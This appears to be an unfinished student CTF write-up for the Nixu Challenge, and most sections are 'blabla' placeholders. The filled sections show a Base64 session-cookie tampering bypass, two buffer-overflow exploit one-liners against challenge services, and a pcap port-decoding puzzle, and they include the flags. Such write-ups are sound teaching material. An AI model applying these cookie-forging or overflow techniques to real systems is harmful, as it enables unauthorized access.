Nixu Challenge

Patrick Richer St-Onge
Linköping University
Sweden
patri111@student.liu.se

Erik Sandberg
Linköping University
Sweden
erisa418@student.liu.se

I. Introduction

II. Challenges

A. AIMLES - staging

blabla

B. L'aritmetico, Il geometrico, Il finito

blabla

C. Bad memories - part 1

blabla

D. Bad memories - part 2

blabla

E. Bad memories - part 3

blabla

F. Bad memories - part 4

blabla

G. Bad memories - part 5

blabla

H. Exfiltration

blabla

I. fridge 2.0

blabla

J. lisby-1

blabla

K. lisby-2

blabla

L. lisby-3

blabla

M. ACME Order DB

The website in question is protected by a login page. After trying with credentials admin/admin, we can see that a cookie `sess` is created with a Base64 encoded value.

```
dXNlcm5hbWU9YWRtaW46OmxvZ2dlZF9pbj1mYWxzZQ==
username=admin::logged_in=false
```

We change the value of `logged_in` to `true`, encode it and update the cookie. We are now logged in.

```
username=admin::logged_in=true
dXNlcm5hbWU9YWRtaW46OmxvZ2dlZF9pbj10cnVl
```

In the source code of the webpage, we can see a reference to LDAP, which hints us at a LDAP injection.

```
<!-- Get documents from ldap! -->
```

N. Device Control Pwnel

There are two buffer overflow vulnerabilities in this challenge which is divived in two parts. The first part is a simple buffer overflow, where the program uses the secure function `fgets`, but with a value of 127 for the maximum number of character to read. The characters are stored in an array of 8 bytes, which allows us to overflow and write the value of the local variable `int id` to zero, which gives access the the admin menu and the first flag.

```
python -c 'print("ABCDEFGH\00\00\00\00\n8")' |
    nc overflow.thenixuchallenge.com 20191
```

```
NIXU{pr3tty_s1mpl3_0v3rfl0w}
```

O. Device Control Pwnel - part 2

This is the second part of the buffer overflow challenge using the same C source code. The idea is similar, 256 bytes of inputs are allowed while the description field in the struct is of size 128 bytes. The array is copied using the unsecure funtion `strcpy` which allows us to write over the field `id` of the device struct. The goal is to write the device master ID `0x8100ca33c1ab7daf` to a device to get

the flag. The only problem is that the number contains a null byte `\x00` which is the character that will cause `strcpy` to stop copying. Therefore, we need to first create a new device with the first part of the ID `81` and after edit the same device to add the rest of the ID `00ca33c1ab7daf`.

```
python -c 'print("2\n" + "name\n" + "A
    "*128+"1234567\x81\n" + "3\n1\n" + "name\n"
    + "A"*128+"\xaf\x7d\xab\xc1\x33\xca\x00\n" +
     "1\n4")' | ./devices
```

```
NIXU{h0w_t0_d3al_w1th_null_byt3s\x00}
```

P. Pad Practice

blabla

Q. Plumbing

blabla

R. Ports

Based on the name of the challenge it seemed obvious that we should look into the port numbers. Using Wireshark we exported the port numbers from the pcap file into plain text.

```
tshark -r ports.pcap -T fields -e tcp.dstport >
    ports.txt
```

We then tried to translate the decimal numbers to ASCII. The result looked like a typical base64 string, a good sign that we're on the right track.

```
QVZLSHtmbHpvYnlmX25hcV9haHpvcmVmX25lcl9zaGFfZ2JfY3lubF9qdmd1fQ
    ==
```

The formating of the decoded base64 string assured us that we're almost done. Using ROT13, a version of the classic Caesar cipher, we recovered the key.

```
AVKH{flzobyf_naq_ahzoref_ner_sha_gb_cynl_jvgu}
NIXU{symbols_and_numbers_are_fun_to_play_with}
```

S. Stowaway

blabla

III. Conclusion